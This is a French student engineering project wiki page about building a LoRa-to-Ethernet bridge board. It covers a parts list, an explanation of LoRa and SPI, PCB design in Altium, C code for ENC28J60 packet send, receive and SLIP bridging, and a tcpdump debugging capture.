 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
